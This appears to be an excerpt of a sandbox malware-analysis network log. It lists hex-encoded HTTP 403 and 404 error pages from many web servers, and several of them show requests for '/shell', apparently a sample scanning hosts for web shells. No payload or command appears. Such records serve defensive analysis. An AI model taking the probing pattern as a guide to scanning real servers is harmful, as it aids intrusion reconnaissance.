Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:00:28 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.2Date: Sun, 14 Apr 2024 02:00:30 GMTContent-Type: text/htmlContent-Length: 3650Connection: keep-aliveETag: "58173aee-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:30 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:33 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.25.2Date: Sun, 14 Apr 2024 02:00:33 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:00:21 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 01:58:30 GMTContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:36 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 01:56:16 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 30 37 0d 0a 72 6f 6f 74 40 6c 6f 63 61 6c 68 6f 73 74 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 66 0d 0a 72 6f 6f 74 40 6c 6f 63 61 6c 68 6f 73 74 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 04:00:36 GMTX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-XSS-Protection: 1; mode=blockContent-Length: 181Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=8, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 73 68 65 6c 6c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /shell</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: TengineDate: Sun, 14 Apr 2024 02:00:37 GMTContent-Type: text/htmlContent-Length: 238Connection: keep-aliveVia: cache27.cn4053[,0]Timing-Allow-Origin: *EagleId: 79593a2117130600379884726eData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 55 52 4c 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>You don't have permission to access the URL on this server.<hr/>Powered by Tengine</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: TengineDate: Sun, 14 Apr 2024 02:00:38 GMTContent-Type: text/htmlContent-Length: 238Connection: keep-aliveVia: cache27.cn4053[,0]Timing-Allow-Origin: *EagleId: 79593a2117130600382044879eData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 55 52 4c 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 